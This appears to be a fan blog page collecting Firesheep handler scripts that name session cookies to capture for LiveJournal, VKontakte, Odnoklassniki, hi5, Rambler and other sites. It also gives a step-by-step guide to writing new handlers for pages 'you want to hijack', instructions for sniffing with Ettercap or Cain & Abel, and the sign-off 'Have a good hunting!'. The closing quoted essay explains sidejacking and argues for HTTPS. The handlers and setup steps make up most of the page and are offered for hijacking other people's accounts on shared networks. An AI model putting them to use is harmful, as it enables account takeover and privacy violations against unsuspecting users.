Firesheep => LiveJournal.com Handler

// Author

    // cityZombie <chebon9@gmail.com>

    // For more handlers visit : http://firesheepfan.blogspot.com/

register({

  name: "LiveJournal",

  domains: [ 'livejournal.com' ],

  sessionCookieNames: [ 'ljmastersession' ],

    identifyUser: function () {

        var resp = this.httpGet("http://www.livejournal.com/update.bml");

this.userName   = resp.body.querySelector('#current_username').innerHTML;

    this.userAvatar = resp.body.querySelector('#userpic_preview_image').src;

  }

});

Firesheep => Ashdoda.net Handler

// Author

    // cityZombie <chebon9@gmail.com>

    // For more handlers visit : http://firesheepfan.blogspot.com/

register({

  name: "Ashdoda.net",

  domains: [ 'ashdoda.net' ],

  sessionCookieNames: [ 'ci_session','userauth' ],

  identifyUser: function () {

        var resp = this.httpGet(this.siteUrl + "user/panel/");

this.userName   = resp.body.querySelector("input[name='nick']").value;

  }

});

Firesheep => Rambler.ru Handler

// Author

    // cityZombie <chebon9@gmail.com>

    // For more handlers visit : http://firesheepfan.blogspot.com/

register({

  name: "Rambler.ru",

  domains: [ 'rambler.ru' ],

  sessionCookieNames: [ 'rsid' ],

  identifyUser: function () {

    var resp = this.httpGet("https://id.rambler.ru/script/settings.cgi?mode=settings");

this.userName   = resp.body.querySelector("input[name='user.fname']").value + " " + resp.body.querySelector("input[name='user.lname']").value;

  }

});

Firesheep => Hi5.com Handler

// Author

    // cityZombie <chebon9@gmail.com>

    // For more handlers visit : http://firesheepfan.blogspot.com/

register({

  name: "hi5",

  domains: [ 'hi5.com' ],

  sessionCookieNames: [ 'JSESSIONID','Userid' ],

  identifyUser: function () {

    var resp = this.httpGet(this.siteUrl + "friend/account/settings.do");

this.userName   = resp.body.querySelector("input[name='email']").value;

this.userAvatar = resp.body.querySelector('#PageHeader-Avatar img').src;

  }

});

Create your own handlers!

Writing Handlers

Firesheep works by sniffing http requests that include the cookie values for specific websites. In order to create new handler you first need to discover which cookie is used by the website to identify you.

Discovering which cookie is required

Download a plugin that will allow you to edit and delta cookies from your browser. (FireCookie for firefox is good or "Edit This Cookie for Chrome" is good) Go to webpage you want to hijack. Remove one cookie at a time then refresh the page to see if you are still logged in. If you delete the session cookie it will look like you're logged out. add the cookie back and try a different cookie. Repeat for all cookies. Sometimes you'll need multiple cookies to identify yourself to the website, so take a note of each cookie that logs you out.


Create your handler

Find your handlers directory (TODO add paths for OSX and Windows)

Create a file in the handlers directory named website.js (replace website with the url you're using)

Add the following code to the js file you just created.

register({
  name: 'website.com', //the name that will show up in the Firesheep sidebar
  url: 'http://www.website.com/', //the website url that Firesheep will match on
  icon: 'http://website.com/images/favicon.gif?2', //a full path to a favicon if the favicon isn't in the default location (optional)
  domains: [ 'website.com' ], //the actual domain that Firesheep will look for in the request
  sessionCookieNames: [ 'cookie1', 'cookie2' ], //a list of cookie key names that firesheep will intercept and send on 
                                                                     //your behalf (this should be the list of cookies you noted in the previous step)

  identifyUser: function() { //Firesheep can make a request to discover some information about the cookie (username and avatar) for the buddy list
    var site = this.httpGet(this.siteUrl); //this will pull down a page that contains the value for the username and avatar
    this.userName = site.body.querySelector('input#user_email.text_field').value; //use a query selector to pull out the username from the page (optional)
    this.userAvatar = resp.body.querySelector('#navAccountPic img').src; //another query selector to grab the image (optional) 
  }
});

That's about it. Restart Firefox to make sure Firesheep picks up your new handler. Then as you tweak your handler simply stop and restart Firesheep from intercepting and it'll pick up your changes.

Thx codebutler for this great article.

Firesheep in BackTrack 4R1

1) Update your firefox,follow this nice step-by-step guide to do it.
2) Now download firesheep plugin from here . (thx to jnew from github)
3) Open your firefox and go to Tools -> Add-ons -> Extensions and drag there a firesheep plugin.
4) Run Ettercap and start sniffing.
5) Go back to your firefox check the firesheep preferences and hit the "Start Capturing" button!

Firesheep => Monetika.com Handler

// Author

// cityZombie <chebon9@gmail.com>

// For more handlers visit : http://firesheepfan.blogspot.com/

register({

  name: "Monetika.com",

  domains: [ 'www.monetika.com' ],

  sessionCookieNames: [ 'DvaSovetaIdentity' ],

  identifyUser: function () {

    var resp = this.httpGet(this.siteUrl + "EditProfile.aspx");

    this.userName   = resp.body.querySelector("input[name='ctl00$PageContent$UserName']").value;;

  }

});

Firesheep => Hodokii.ru Handler

// Author

// cityZombie <chebon9@gmail.com>

// For more handlers visit : http://firesheepfan.blogspot.com/

register({

  name: "Hodokii.ru",

  domains: [ 'hodokii.ru' ],

  sessionCookieNames: [ 'login','password' ],

  identifyUser: function () {

    var resp = this.httpGet(this.siteUrl + "order");

    this.userName   = resp.body.querySelector('#easy_email').textContent;

  }

});

Firesheep => Tapuz.co.il Handler

// Author

// cityZombie <chebon9@gmail.com>

// For more handlers visit : http://firesheepfan.blogspot.com/

register({

  name: "Tapuz.co.il",

  domains: [ 'www.tapuz.co.il' ],

  sessionCookieNames: [ 'Tapuz%5FForums','RMID','ASPSESSIONIDSQDSCSTQ','ASPSESSIONIDQQDCSSTC' ],

  identifyUser: function () {

    var req = this.siteUrl + "/olamot/managment/profile.aspx";

    var resp = this.httpGet(req);

    this.userName   = resp.body.querySelector('#ctl00_ctl00_ContentPlaceHolderMain_ContentPlaceHolderMain_lblUserName').innerHTML;

                                              

 } 

});

Firesheep => FXP.co.il Handler

// Author

// cityZombie <chebon9@gmail.com>

// For more handlers visit : http://firesheepfan.blogspot.com/

register({

  name: "FXP.co.il",

  domains: [ 'www.fxp.co.il' ],

  sessionCookieNames: [ 'bblastvisit','bblastactivity','bbsessionhash','bbuserid','bbpassword','bbnginxcache' ],

  identifyUser: function () {

    var req = this.siteUrl + "/profile.php?do=editpassword";

    var resp = this.httpGet(req);

    this.userName   = resp.body.querySelector("input[name='email']").value;

  }

});

Firesheep => Forums.Hacking.org.il Handler

// Author

// cityZombie <chebon9@gmail.com>

// For more handlers visit : http://firesheepfan.blogspot.com/

register({

  name: "Forums.Hacking.org.il",

  domains: [ 'forums.hacking.org.il' ],

  sessionCookieNames: [ 'phpbbheb_data','phpbbheb_sid','phpbbheb_t' ],

  identifyUser: function () {

    var req = this.siteUrl + "/profile.php?mode=editprofile";

    var resp = this.httpGet(req);

    this.userName   = resp.body.querySelector("input[name='username']").value;

  }

});

Firesheep => Odnoklassniki.ru Handler

// Author

// cityZombie <chebon9@gmail.com>

// For more handlers visit : http://firesheepfan.blogspot.com/

register({

  name: "Odnoklassniki",

  domains: [ 'odnoklassniki.ru' ],

  sessionCookieNames: [ 'JSESSIONID' ],

  identifyUser: function () {

    var req = this.siteUrl + "/dk?cmd=PopLayer&st.cmd=userConfig&tkn=7823&st.layer.cmd=PopLayerEditUserProfile";

    var resp = this.httpGet(req);

    this.userName   = resp.body.querySelector("input[name='fr.name']").value + " " + resp.body.querySelector("input[name='fr.surname']").value;

  }

});

Firesheep => Xakep.ru Handler

Go to Firesheep -> Preferences -> Websites -> and Add this code :

// Author

// cityZombie <chebon9@gmail.com>

// For more handlers visit : http://firesheepfan.blogspot.com/

register({

  name: "Xakep.ru",

  url: 'http://forum.xakep.ru',

  domains: [ 'xakep.ru' ],

  sessionCookieNames: [ 'ASP.NET_SessionId','auth_passport' ],

  identifyUser: function () {

    var req = this.siteUrl + "/editprofile.aspx";

    var resp = this.httpGet(req);

    this.userName   = resp.body.querySelector("input[name='emailori']").value;

  } 

});

Firesheep => VKontakte.ru Handler

Go to Firesheep -> Preferences -> Websites -> and Add this code :

// Author

// cityZombie <chebon9@gmail.com>

// For more handlers visit : http://firesheepfan.blogspot.com/

register({

  name: "BKOHTAKTE",

  domains: [ 'vkontakte.ru' ],

  sessionCookieNames: [ 'remixsid','remixchk' ],

  identifyUser: function () {

    var resp = this.httpGet(this.siteUrl);

    this.userName   = resp.body.querySelector('#profile_name').innerText;

    this.userAvatar = resp.body.querySelector('#profilePhoto img').src;

  } 

});

Now your Firesheep will catch russian social network VKontakte,ru!

Please let me know if you have a troubles with this handler...

Firesheep on Windows???

Firesheep works on Windows based machines,include Windows 7 and Vista.
All you need is :

1) Cain & Abel software
2) Firefox
3) Firesheep plugin

// Running Cain & Abel



Finally open your FireFox and press CTRL + SHIFT + S(if you don't see the firesheep sidebar) check the preferences and press Start Capturing!

Have a good hunting!

What is firesheep?

Firesheep

When logging into a website you usually start by submitting your username and password. The server then checks to see if an account matching this information exists and if so, replies back to you with a "cookie" which is used by your browser for all subsequent requests.

It's extremely common for websites to protect your password by encrypting the initial login, but surprisingly uncommon for websites to encrypt everything else. This leaves the cookie (and the user) vulnerable. HTTP session hijacking (sometimes called "sidejacking") is when an attacker gets a hold of a user's cookie, allowing them to do anything the user can do on a particular website. On an open wireless network, cookies are basically shouted through the air, making these attacks extremely easy.

This is a widely known problem that has been talked about to death, yet very popular websites continue to fail at protecting their users. The only effective fix for this problem is full end-to-end encryption, known on the web as HTTPS or SSL. Facebook is constantly rolling out new "privacy" features in an endless attempt to quell the screams of unhappy users, but what's the point when someone can just take over an account entirely? Twitter forced all third party developers to use OAuth then immediately released (and promoted) a new version of their insecure website. When it comes to user privacy, SSL is the elephant in the room.

Today at Toorcon 12 I announced the release of Firesheep, a Firefox extension designed to demonstrate just how serious this problem is.

After installing the extension you'll see a new sidebar. Connect to any busy open wifi network and click the big "Start Capturing" button. Then wait.

As soon as anyone on the network visits an insecure website known to Firesheep, their name and photo will be displayed:

Double-click on someone, and you're instantly logged in as them.

That's it.

Firesheep is free, open source, and is available now for Mac OS X and Windows. Linux support is on the way.

Websites have a responsibility to protect the people who depend on their services. They've been ignoring this responsibility for too long, and it's time for everyone to demand a more secure web. My hope is that Firesheep will help the users win.

http://codebutler.com/firesheep